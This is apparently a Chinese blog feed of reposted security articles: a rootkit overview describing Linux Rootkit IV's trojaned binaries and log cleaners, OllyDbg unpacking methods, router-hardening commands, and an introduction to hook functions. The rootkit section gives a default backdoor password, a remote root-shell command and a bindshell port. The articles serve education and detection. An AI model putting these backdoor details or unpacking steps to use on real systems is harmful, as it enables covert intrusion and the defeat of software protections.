<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal"><font size=2><strong style="mso-bidi-font-weight: normal"><span lang=EN-US style="mso-fareast-language: ZH-CN"><font face=Calibri>3</font></span></strong><strong style="mso-bidi-font-weight: normal"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">．信息处理</span></strong><strong style="mso-bidi-font-weight: normal"><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></strong></font></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: normal"><strong style="mso-bidi-font-weight: normal"><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p><font face=Calibri size=2>&nbsp;</font></o:p></span></strong></p>
<div style="BORDER-RIGHT: #4f81bd 3pt solid; PADDING-RIGHT: 0cm; BORDER-TOP: #4f81bd 3pt solid; PADDING-LEFT: 0cm; BACKGROUND: #4f81bd; PADDING-BOTTOM: 0cm; BORDER-LEFT: #4f81bd 3pt solid; PADDING-TOP: 0cm; BORDER-BOTTOM: #4f81bd 3pt solid; mso-element: para-border-div; mso-border-themecolor: accent1; mso-background-themecolor: accent1">
<h1 style="MARGIN: 10pt 0cm 0pt"><font size=3><font color=#ffffff><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-fareast-font-family: 宋体">入侵检测的分类</span><span lang=EN-US style="mso-fareast-language: ZH-CN"><o:p></o:p></span></font></font></h1>
</div>
<img src ="http://www.cppblog.com/momoxiao/aggbug/112187.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-04-10 17:24 <a href="http://www.cppblog.com/momoxiao/archive/2010/04/10/112187.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>rootkit综述zz</title><link>http://www.cppblog.com/momoxiao/archive/2010/03/22/110298.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Mon, 22 Mar 2010 07:50:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/03/22/110298.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/110298.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/03/22/110298.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/110298.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/110298.html</trackback:ping><description><![CDATA[在网络安全中经常会遇到rootkit，NSA安全和入侵检测术语字典( NSA Glossary of Terms Used in Security and Intrusion Detection)对rootkit的定义如下：A hacker security tool that captures passwords and message traffic to and from a computer. A collection of tools that allows a hacker to provide a backdoor into a system, collect information on other systems on the network,mask the fact that the system is compromised, and much more. Rootkit is a classic example of Trojan Horse software. Rootkit is available for a wide range of operating systems. <br><br>好多人有一个误解，他们认为rootkit是用作获得系统root访问权限的工具。实际上，rootkit是攻击者用来隐藏自己的踪迹和保留root访问权限的工具。通常，攻击者通过远程攻击获得root访问权限，或者首先密码猜测或者密码强制破译的方式获得系统的访问权限。进入系统后，如果他还没有获得root权限，再通过某些安全漏洞获得系统的root权限。接着，攻击者会在侵入的主机中安装rootkit，然后他将经常通过rootkit的后门检查系统是否有其他的用户登录，如果只有自己，攻击者就开始着手清理日志中的有关信息。通过rootkit的嗅探器获得其它系统的用户和密码之后，攻击者就会利用这些信息侵入其它的系统。 <br><br><br><br><br>什么是rootkit <br><br><br>Rootkit出现于二十世纪90年代初，在1994年2月的一篇安全咨询报告中首先使用了rootkit这个名词。这篇安全咨询就是CERT-CC的CA-1994-01，题目是Ongoing Network Monitoring Attacks，最新的修订时间是1997年9月19日。从出现至今，rootkit的技术发展非常迅速，应用越来越广泛，检测难度也越来越大。其中针对SunOS和Linux两种操作系统的rootkit最多(树大招风:P)。所有的rootkit基本上都是由几个独立的程序组成的，一个典型rootkit包括： <br><br><br><br>以太网<strong>嗅探器</strong>程程序，用于获得网络上传输的用户名和密码等信息。 <br><br><br>特洛伊<strong>木马</strong>程序，例如：inetd或者login，为攻击者提供后门。 <br><br><br><strong>隐藏</strong>攻击者的目录和进程的程序，例如：ps、netstat、rshd和ls等。 <br><br><br>可能还包括一些<strong>日志清理</strong>工具，例如：zap、zap2或者z2，攻击者使用这些清理工具删除wtmp、utmp和lastlog等日志文件中有关自己行踪的条目。 <br><br><br>一些复杂的rootkit还可以向攻击者提供telnet、shell和finger等服务。 <br><br><br>还包括一些用来清理/var/log和/var/adm目录中其它文件的一些脚本。 <br><br><br>攻击者使用rootkit中的相关程序替代系统原来的ps、ls、netstat和df等程序，使系统管理员无法通过这些工具发现自己的踪迹。接着使用日志清理工具清理系统日志，消除自己的踪迹。然后，攻击者会经常地通过安装的后门进入系统查看嗅探器的日志，以发起其它的攻击。如果攻击者能够正确地安装rootkit并合理地清理了日志文件，系统管理员就会很难察觉系统已经被侵入，直到某一天其它系统的管理员和他联系或者嗅探器的日志把磁盘全部填满，他才会察觉已经大祸临头了。但是，大多数攻击者在清理系统日志时不是非常小心或者干脆把系统日志全部删除了事，警觉的系统管理员可以根据这些异常情况判断出系统被侵入。不过，在系统恢复和清理过程中，大多数常用的命令例如ps、df和ls已经不可信了。许多rootkit中有一个叫做FIX的程序，在安装rootkit之前，攻击者可以首先使用这个程序做一个系统二进制代码的快照，然后再安装替代程序。FIX能够根据原来的程序伪造替代程序的三个时间戳(atime、ctime、mtime)、date、permission、所属用户和所属用户组。如果攻击者能够准确地使用这些优秀的应用程序，并且在安装rootkit时行为谨慎，就会让系统管理员很难发现。 <br><br><br><br>LINUX ROOTKIT IV <br><br><br>前面说过，大部分rootkit是针对Linux和SunOS的，下面我们介绍一个非常典型的针对Linux系统的rootkit--Linux Rootkit IV。Linux Rootkit IV是一个开放源码的rootkit，是Lord Somer编写的，于1998年11月发布。不过，它不是第一个Linux Rootkit，在它之前有lrk、lnrk、lrk2和lrk3等Linux Rootkit。这些rootkit包括常用的rootkit组件，例如嗅探器、日志编辑/删除工具、和后门程序的。 <br><br>经过这么多年的发展，Linux Rootkit IV功能变的越来越完善，具有的特征也越来越多。不过，虽然它的代码非常庞大，却非常易于安装和使用，只要执行make install就可以成功安装。如果你还要安装一个shadow工具，只要执行make shadow install就可以了。注意：Linux Rootkit IV只能用于Linux 2.x的内核。下面我们简单地介绍一下Linux Rootkit IV包含的各种工具，详细的介绍请参考其发布包的README文件。 <br><br>隐藏入侵者行踪的程序 <br><br>为了隐藏入侵者的行踪，Linux Rootkit IV的作者可谓煞费心机，编写了许多系统命令的替代程序，使用这些程序代替原由的系统命令，来隐藏入侵者的行踪。这些程序包括： <br><br><br><br>ls、find、du <br><br>这些程序会阻止显示入侵者的文件以及计算入侵者文件占用的空间。在编译之前，入侵者可以通过ROOTKIT_FILES_FILE设置自己的文件所处的位置，默认是/dev/ptyr。注意如果在编译时使用了SHOWFLAG选项，就可以使用ls -/命令列出所有的文件。这几个程序还能够自动隐藏所有名字为：ptyr、hack.dir和W4r3z的文件。 <br><br><br>ps、top、pidof <br><br>这几个程序用来隐藏所有和入侵者相关的进程。 <br><br><br>netstat <br><br>隐藏出/入指定IP地址或者端口的网络数据流量。 <br><br><br>killall <br><br>不会杀死被入侵者隐藏的进程。 <br><br><br>ifconfig <br><br>如果入侵者启动了嗅探器，这个程序就阻止PROMISC标记的显示，使系统管理员难以发现网络接口已经处于混杂模式下。 <br><br><br>crontab <br><br>隐藏有关攻击者的crontab条目。 <br><br><br>tcpd <br><br>阻止向日志中记录某些连接 <br><br><br>syslogd <br><br>过滤掉日志中的某些连接信息 <br><br><br><br>木马程序 <br><br>为本地用户提供后门，包括： <br><br><br><br>chfn <br><br>提升本地普通用户权限的程序。运行chfn，在它提示输入新的用户名时，如果用户输入rookit密码，他的权限就被提升为root。默认的rootkit密码是satori。 <br><br><br>chsh <br><br>也是一个提升本地用户权限的程序。运行chsh，在它提示输入新的shell时，如果用户输入rootkit密码，他的权限就被提升为root。 <br><br><br>passwd <br><br>和上面两个程序的作用相同。在提示你输入新密码时，如果输入rookit密码，权限就可以变成root。 <br><br><br>login <br><br>允许使用任何帐户通过rootkit密码登录。如果使用root帐户登录被拒绝，可以尝试一下rewt。当使用后门时，这个程序还能够禁止记录命令的历史记录。 <br><br><br>木马网络监控程序 <br><br>这些程序为远程用户提供后门，可以向远程用户提供inetd、rsh、ssh等服务，具体因版本而异。随着版本的升级，Linux Rootkit IV的功能也越来越强大，特征也越来越丰富。一般包括如下网络服务程序： <br><br><br><br>inetd <br><br>特洛伊inetd程序，为攻击者提供远程访问服务。 <br><br><br>rshd <br><br>为攻击者提供远程shell服务。攻击者使用rsh -l rootkitpassword host command命令就可以启动一个远程root shell。 <br><br><br>sshd <br><br>为攻击者提供ssh服务的后门程序。 <br><br><br>工具程序 <br><br>所有不属于以上类型的程序都可以归如这个类型，它们实现一些诸如：日志清理、报文嗅探以及远程shell的端口绑定等功能，包括： <br><br><br><br>fix <br><br>文件属性伪造程序 <br><br><br>linsniffer <br><br>报文嗅探器程序。 <br><br><br>sniffchk <br><br>一个简单的bash shell脚本，检查系统中是否正有一个嗅探器在运行。 <br><br><br>wted <br><br>wtmp/utmp日志编辑程序。你可以使用这个工具编辑所有wtmp或者utmp类型的文件。 <br><br><br>z2 <br><br>utmp/wtmp/lastlog日志清理工具。可以删除utmp/wtmp/lastlog日志文件中有关某个用户名的所有条目。不过，如果用于Linux系统需要手工修改其源代码，设置日志文件的位置。 <br><br><br>bindshell <br><br>在某个端口上绑定shell服务，默认端口是12497。为远程攻击者提供shell服务。 <br><br><br><br><br>如何发现rootkit <br><br><br>很显然，只有使你的网络非常安装让攻击者无隙可乘，才能是自己的网络免受rootkit的影响。不过，恐怕没有人能够提供这个保证，但是在日常的网络管理维护中保持一些良好的习惯，能够在一定程度上减小由rootkit造成的损失，并及时发现rootkit的存在。 <br><br>首先，不要在网络上使用明文传输密码，或者使用一次性密码。这样，即使你的系统已经被安装了rootkit，攻击者也无法通过网络监听，获得更多用户名和密码，从而避免入侵的蔓延。 <br><br>使用Tripwire和aide等检测工具能够及时地帮助你发现攻击者的入侵，它们能够很好地提供系统完整性的检查。这类工具不同于其它的入侵检测工具，它们不是通过所谓的攻击特征码来检测入侵行为，而是监视和检查系统发生的变化。Tripwire首先使用特定的特征码函数为需要监视的系统文件和目录建立一个特征数据库，所谓特征码函数就是使用任意的文件作为输入，产生一个固定大小的数据(特征码)的函数。入侵者如果对文件进行了修改，即使文件大小不变，也会破坏文件的特征码。利用这个数据库，Tripwire可以很容易地发现系统的变化。而且文件的特征码几乎是不可能伪造的，系统的任何变化都逃不过Tripwire的监视(当然，前提是你已经针对自己的系统做了准确的配置:P，关于Tripwire和aide的使用请参考本站的相关文章)。最后，需要能够把这个特征码数据库放到安全的地方。 <br><br><br><br><br>前一段时间，写了几篇rootkit分析文章，这篇权且作为这一系列文章的总结，到此为止。但是在最近发布的Phrack58-0x07(Linux on-the-fly kernel patching without LKM)中实现一个直接修改内核数据结构的rootkit，因此决定写一个续篇。:P&lt;br&gt; <br><img src ="http://www.cppblog.com/momoxiao/aggbug/110298.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-03-22 15:50 <a href="http://www.cppblog.com/momoxiao/archive/2010/03/22/110298.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[zz]常见脱壳知识</title><link>http://www.cppblog.com/momoxiao/archive/2009/12/14/103195.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Mon, 14 Dec 2009 10:16:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2009/12/14/103195.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/103195.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2009/12/14/103195.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/103195.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/103195.html</trackback:ping><description><![CDATA[1.PUSHAD （压栈） 代表程序的入口点 <br>2.POPAD （出栈） 代表程序的出口点，与PUSHAD想对应，一般找到这个OEP就在附近拉！ <br>3.OEP：程序的入口点，软件加壳就是隐藏了OEP（或者用了假的OEP）， <br>只要我们找到程序真正的OEP，就可以立刻脱壳。 <br><br>开始正式介绍方法啦！！ <br>方法一： <br>1.用OD载入，不分析代码！ <br>2.单步向下跟踪F8，是向下跳的让它实现 <br>3.遇到程序往回跳的（包括循环），我们在下一句代码处按F4（或者右健单击代码，选择断点——运行到所选） <br>4.绿色线条表示跳转没实现，不用理会，红色线条表示跳转已经实现！ <br>5.如果刚载入程序，在附近就有一个CALL的，我们就F7跟进去，这样很快就能到程序的OEP <br>6.在跟踪的时候，如果运行到某个CALL程序就运行的，就在这个CALL中F7进入 <br>7.一般有很大的跳转，比如 jmp XXXXXX 或者 JE XXXXXX 或者有RETE的一般很快就会到程序的OEP。 <br><br>方法二： <br>ESP定理脱壳（ESP在OD的寄存器中，我们只要在命令行下ESP的硬件访问断点，就会一下来到程序的OEP了！） <br>1.开始就点F8，注意观察OD右上角的寄存器中ESP有没出现。 <br>2.在命令行下：dd 0012FFA4(指在当前代码中的ESP地址)，按回车！ <br>3.选种下断的地址，下硬件访问WORD断点。 <br>4.按一下F9运行程序，直接来到了跳转处，按下F8，到达程序OEP，脱壳 <br><br>方法三： <br>内存跟踪： <br>1：用OD打开软件！ <br>2：点击选项——调试选项——异常，把里面的忽略全部&#8730;上！CTRL+F2重载下程序！ <br>3：按ALT+M,DA 打开内存镜象，找到第一个.rsrc.按F2下断点， <br>然后按SHIFT+F9运行到断点，接着再按ALT+M,DA 打开内存镜象，找到.RSRC上面的CODE，按 <br>F2下断点！然后按SHIFT+F9，直接到达程序OEP，脱壳！ <br><br><br>方法四： <br>一步到达OEP（前辈们总结的经验） <br>1.开始按Ctrl+F,输入：popad（只适合少数壳，包括ASPACK壳），然后按下F2，F9运行到此处 <br>2.来到大跳转处，点下F8，脱壳之！ <br><br>方法五： <br>1：用OD打开软件！ <br>2：点击选项——调试选项——异常，把里面的&#8730;全部去掉！CTRL+F2重载下程序！ <br>3：一开是程序就是一个跳转，在这里我们按SHIFT+F9，直到程序运行，记下从开始按F9到程序 <br>运行的次数！ <br>4：CTRL+F2重载程序，按SHIFT+F9（次数为程序运行的次数-1次 <br>5：在OD的右下角我们看见有一个SE 句柄，这时我们按CTRL+G，输入SE 句柄前的地址！ <br>6：按F2下断点！然后按SHIFT+F9来到断点处！ <br>7：去掉断点，按F8慢慢向下走！ <br>8：到达程序的OEP，脱壳！<br><img src ="http://www.cppblog.com/momoxiao/aggbug/103195.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2009-12-14 18:16 <a href="http://www.cppblog.com/momoxiao/archive/2009/12/14/103195.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>常用网址</title><link>http://www.cppblog.com/momoxiao/archive/2009/12/12/103034.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Sat, 12 Dec 2009 03:14:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2009/12/12/103034.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/103034.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2009/12/12/103034.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/103034.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/103034.html</trackback:ping><description><![CDATA[<strong><span style="color: red;">解密分析</span><br>看雪--解密分析入门基础知识</strong> <br><a href="http://bbs.pediy.com/showthread.php?t=31840">http://bbs.pediy.com/showthread.php?t=31840</a><br><br>
<hr>
<strong style="color: red;">网络攻防</strong><br><br><strong>查询WHOIS数据库</strong><br>NIC的WHOIS数据库:<a href="http://www.internic.net/whois.html"><br>http://www.internic.net/whois.html</a><br>&nbsp;Uwhois<br><a href="http://www.uwhois.com/">http://www.uwhois.com/</a><img src ="http://www.cppblog.com/momoxiao/aggbug/103034.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2009-12-12 11:14 <a href="http://www.cppblog.com/momoxiao/archive/2009/12/12/103034.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[zz]网络路由安全攻防对策分析及实践</title><link>http://www.cppblog.com/momoxiao/archive/2009/12/11/103012.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Fri, 11 Dec 2009 14:50:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2009/12/11/103012.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/103012.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2009/12/11/103012.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/103012.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/103012.html</trackback:ping><description><![CDATA[<p><font face=宋体 size=3>网络路由器的安全问题一直以来被大家谈论得比较多，虽然我们看到的路由器入侵事件不多，因此在很多人的印象中，路由(Routing)只是选择通过互联网络从源节点向目的节点传输信息的通道，其实路由器的安全隐患很多，只是由于一般黑客接触得不太频繁，被攻击的事件很少发生，但如果路由器被攻击，后果将不堪设想。 </font></p>
<p>　　<strong>不可忽视的路由器安全</strong></p>
<p>　　路由器(Router)是因特网上最为重要的设备之一，正是遍布世界各地的数以万计的路由器构成了因特网这个在我们的身边日夜不停地运转的巨型信息网络的&#8220;桥梁&#8221;。在因特网上，路由器扮演着<strong>转发数据包</strong>&#8220;驿站&#8221;的角色，对于黑客来说，利用路由器的漏洞发起攻击通常是一件比较容易的事情，攻击路由器会<strong>浪费CPU周期，误导信息流量，使网络陷于瘫痪</strong>，通常好的路由器本身会采取一个好的<strong>安全机制</strong>来保护自己，但是仅此一点是远远不够的，保护路由器安全还需要网管员在<strong>配置和管理</strong>路由器过程中采取相应的安全措施。</p>
<p>　　路由器数据流示意图</p>
<p>　　流行的路由器大多是以硬件设备的形式存在的，但是在某些情况下也用程序来实现&#8220;软件路由器&#8221;，两者的唯一差别只是执行的效率不同而已。<strong>路由器一般至少和两个网络相联</strong>，并根据它对所连接网络的状态决定每个数据包的传输路径。路由器生成并维护一张称为&#8220;路由信息表&#8221;的表格，其中跟踪记录相邻其他路由器的地址和状态信息。</p>
<p>　　路由器使用路由信息表并根据<strong>传输距离</strong>和<strong>通讯费用</strong>等优化算法来决定一个特定的数据包的最佳传输路径。正是这种特点决定了路由器的&#8220;智能性&#8221;，它能够根据相邻网络的实际运行状况自动选择和调整数据包的传输情况，尽最大的努力以最优的路线和最小的代价将数据包传递出去。路由器能否安全稳定地运行，直接影响着因特网的活动，不管因为什么原因出现路由器死机、拒绝服务或是运行效率急剧下降，其结果都将是灾难性的。</p>
<p>　　<strong>路由器的安全剖析</strong></p>
<p>　　路由器的安全性分两方面，一方面是<strong style="COLOR: red">路由器本身的安全</strong>，另一方面是<strong style="COLOR: red">数据的安全</strong>。由于路由器是互联网的核心，是网络互连的关键设备，所以路由器的安全要求比其他设备的安全性要求更高，主机的安全漏洞最多导致该主机无法访问，路由器的安全漏洞可能导致整个网络不可访问。</p>
<p>　　路由器的安全漏洞可能存在<strong style="COLOR: red">管理</strong>上的原因和<strong style="COLOR: red">技术</strong>上的原因。在管理上，对路由器<strong>口令</strong>糟糕的选择、<strong>路由协议授权机制</strong>的不恰当使用、错误的<strong>路由配置</strong>都可能导致路由器工作出现问题，技术上路由器的<strong>安全漏洞</strong>可能有恶意攻击，如<strong>窃听、流量分析、假冒、重发、拒绝服务、资源非授权访问、干扰、病毒</strong>等攻击。此外，还有<strong>软件技术</strong>上的漏洞，诸如<strong>后门、操作系统漏洞、数据库漏洞、TCP/IP协议漏洞、网络服务</strong>等都可能会存在漏洞。</p>
<p>　　为了使路由器将<strong>合法信息完整、及时、安全</strong>地转发到目的地，许多路由器厂商开始在<strong>路由器中添加安全模块</strong>，比如将防火墙、VPN、IDS、防病毒、URL过滤等技术引入路由器当中，于是出现了路由器与安全设备融合的趋势。从本质上讲，增加安全模块的路由器，在路由器功能实现方面与普通路由器没有区别，所不同的是，添加安全模块的路由器可以<strong>通过加密、认证等技术手段增强报文的安全性</strong>，与专用安全设备进行有效配合，来提高路由器本身的安全性和所管理网段的可用性。</p>
<p>　　而为了保护路由器安全，我们还必需考虑路由器的配置问题。一般来说路由器的配置方式可以通过用<strong>主控Console口接终端</strong>配置;在<strong>AUX口接Modem同电话网</strong>相连，从而<strong>在远端配置</strong>;在<strong>TCP/IP网上可通过仿真终端(virtual termianl)telnet配置</strong>;可以从<strong>TFTP Server上下载配置</strong>，另外，还可以用网管工作站进行配置。路由器攻击造成的最大威胁是网络无法使用，而且这类攻击需要动用大量靠近骨干网络的服务器。其实，路由器有一个操作系统，也是一个软件，相对其他操作系统的技术性来说，差距是非常明显的，由于功能单一，不考虑兼容性和易用性等，核心固化，一般管理员不允许远程登录，加上了解路由器的人少得很，所以它的安全问题不太明显，有时候偶尔出现死机状态，管理员一般使用reboot命令后，也就没什么问题了。</p>
<p>　　也正因为这样，致使很多路由器的管理员对这个不怎么关心，只要网络畅通就可以了，因为路由器通常都是厂家负责维护的。甚至有些厂家总爱附带一句说:&#8220;如果忘记了口令，请和经销商联系。&#8221;事实上，连Unix都有很多漏洞，何况路由器脆弱的操作系统?当然路由器<strong>一般是无法渗入的</strong>。因为，你无法远程登录，一般管理员都不会开的。<strong>但是让路由器拒绝服务的漏洞很多</strong>。而且，很多管理员有个毛病，他们往往对<a href="http://www.hack58.net/" target=_blank>Windows</a>的操作系统补丁打得比较勤，但是对路由器的操作系统的补丁，很多管理员都懒得去理。</p>
<p>　　<strong>路由器五大类安控技术</strong></p>
<p>　　<strong>访问控制技术</strong>：用户验证是实现用户安全防护的基础技术，路由器上可以采用多种用户接入的控制手段，如PPP、Web登录认证、ACL、802.1x协议等，保护接入用户不受网络攻击，同时能够阻止接入用户攻击其他用户和网络。基于CA标准体系的安全认证，将进一步加强访问控制的安全性。</p>
<p>　　<strong>传输加密技术</strong>：<strong>IPSec</strong>是路由器常用的协议，借助该协议，路由器支持<strong>建立虚拟专用网(VPN</strong>)。IPSec协议包括<strong>ESP(Encapsulating Security Payload)封装安全负载</strong>、<strong>AH(Authentication Header)报头验证协议</strong>及IKE，密钥管理协议等，可以用在公共IP网络上确保数据通信的可靠性和完整性，能够保障数据<strong>安全穿越公网而没有被侦听</strong>。由于IPSec的部署简便，只需安全通道两端的路由器或主机支持IPSec协议即可，几乎不需对网络现有基础设施进行更动，这正是IPSec协议能够确保包括远程登录、客户机、服务器、电子邮件、文件传输及Web访问等多种应用程序安全的重要原因。</p>
<p>　<strong>　防火墙防护技术</strong>：采用防火墙功能模块的路由器具有报文过滤功能，能够对所有接收和转发的报文进行过滤和检查，检查策略可以通过配置实现更改和管理。路由器还可以利用NAT/PAT功能隐藏内网拓扑结构，进一步实现复杂的应用网关(ALG)功能，还有一些路由器提供基于报文内容的防护。原理是当报文通过路由器时，防火墙功能模块可以对报文与指定的访问规则进行比较，如果规则允许，报文将接受检查，否则报文直接被丢弃，如果该报文是用于打开一个新的控制或数据连接，防护功能模块将动态修改或创建规则，同时更新状态表以允许与新创建的连接相关的报文，回来的报文只有属于一个已经存在的有效连接，才会被允许通过。</p>
<p>　　<strong>入侵检测技术</strong>：在安全架构中，入侵检测(IDS)是一个非常重要的技术，目前有些路由器和高端交换机已经内置IDS功能模块，内置入侵检测模块需要路由器具备完善的端口镜像(一对一、多对一)和报文统计支持功能。</p>
<p>　　<strong>HA(高可用性)</strong>：提高自身的安全性，需要路由器能够支持备份协议(如VRRP)和具有日志管理功能，以使得网络数据具备更高的冗余性和能够获取更多的保障。</p>
<p>　　<strong> 入侵路由器的手法及其对策</strong></p>
<p>　　通常来说，黑客攻击路由器的手段与袭击网上其它计算机的手法大同小异，因为从严格的意义上讲路由器本身就是一台具备特殊使命的电脑，虽然它可能没有人们通常熟识的PC那样的外观。一般来讲，黑客针对路由器的攻击主要分为以下两种类型：一是通过某种手段或途径获取管理权限，<strong>直接侵入到系统的内部</strong>;一是采用<strong>远程攻击的办法造成路由器崩溃死机或是运行效率显著下降</strong>。相较而言，前者的难度要大一些。</p>
<p>　　在第一种入侵方法中，黑客一般是利用系统用户的<strong>粗心</strong>或已知的<strong>系统缺陷</strong>(例如系统软件中的&#8220;臭虫&#8221;)获得进入系统的<strong>访问权限</strong>，并通过一系列进一步的行动最终获得<strong>超级管理员权限</strong>。黑客一般很难一开始就获得整个系统的控制权，在通常的情况下，这是一个<strong>逐渐升级的入侵过程</strong>。由于路由器不像一般的系统那样设有众多的用户账号，而且经常使用安全性相对较高的专用软件系统，所以黑客要想获取路由器系统的管理权相对于入侵一般的主机就要困难得多。</p>
<p>　　因此，现有的针对路由器的黑客攻击大多数都可以归入第二类攻击手段的范畴。这种攻击的最终目的并非直接侵入系统内部，而是通过向系统发送攻击性数据包或在一定的时间间隔里，向系统发送数量巨大的&#8220;垃圾&#8221;数据包，以此大量耗费路由器的系统资源，使其不能正常工作，甚至彻底崩溃。</p>
<p>　　路由器是内部网络与外界的一个通信出口，它在一个网络中充当着平衡带宽和转换IP地址的作用，实现少量外部IP地址数量让内部多台电脑同时访问外网，一旦黑客攻陷路由器，那么就掌握了控制内部网络访问外部网络的权力，而且如果路由器被黑客使用拒绝服务攻击，将造成内部网络不能访问外网，甚至造成网络瘫痪。具体来说，我们可以实施下面的对策：</p>
<p>　　为了防止外部<strong>ICMP重定向欺骗</strong>，我们知道攻击者有时会利用ICMP重定向来对路由器进行重定向，将本应送到正确目标的信息重定向到它们指定的设备，从而获得有用信息。禁止外部用户使用ICMP重定向的命令是：interface serial0 no ip redirects。</p>
<p>　　在防止<strong>外部源路由欺骗</strong>时，我们知道源路由选择是指使<strong>用数据链路层信息来为数据报进行路由选择</strong>。该技术跨越了网络层的路由信息，使<strong>入侵者可以为内部网的数据报指定一个非法的路由</strong>，这样<strong>原本应该送到合法目的地的数据报就会被送到入侵者指定的地址</strong>。禁止使用源路由的命令：no ip source-route。</p>
<p>　　如何防止<strong>盗用内部IP地址</strong>呢?由于攻击者通常可能会盗用内部IP地址进行非法访问，针对这一问题，可以利用Cisco路由器的ARP命令<strong>将固定IP地址绑定到某一MAC地址</strong>之上。具体命令：arp 固定IP地址 MAC地址 arpa。</p>
<p>　　而要在源站点<strong>防止smurf</strong>，关键则是<strong>阻止所有的向内回显请求</strong>，这就要<strong>防止路由器将指向网络广播地址的通信映射到局域网广播地址</strong>。可以在LAN接口方式中输入命令：no ip directed-broadcast。</p>
<img src ="http://www.cppblog.com/momoxiao/aggbug/103012.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2009-12-11 22:50 <a href="http://www.cppblog.com/momoxiao/archive/2009/12/11/103012.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[zz]HOOK</title><link>http://www.cppblog.com/momoxiao/archive/2009/10/22/99229.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Thu, 22 Oct 2009 13:15:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2009/10/22/99229.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/99229.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2009/10/22/99229.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/99229.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/99229.html</trackback:ping><description><![CDATA[<p>钩子函数</p>
<p>钩子函数可以<span style="background-color: #c0c0c0;">截获并处理<u>其他</u>应用程序的消息</span>。每当特定的消息发出，在没有到达目的窗口前，钩子程序就先捕获该消息，亦即钩子函数<span style="background-color: #c0c0c0;">先得到控制权</span>。这时钩子函数即可以加工处理（改变）该消息，也可以不作处理而继续传递该消息，还可以强制结束消息的传递。<br>钩子的种类很多，每种钩子可以截获并处理相应的消息，如键盘钩子可以截获键盘消息，外壳钩子可以截取、启动和关闭应用程序的消息等<br>关于HOOK<br>Hooks<br>A hook is a point in the system message-handling mechanism where an application can install a subroutine to monitor the message traffic in the system and process certain types of messages before they reach the target window procedure.</p>
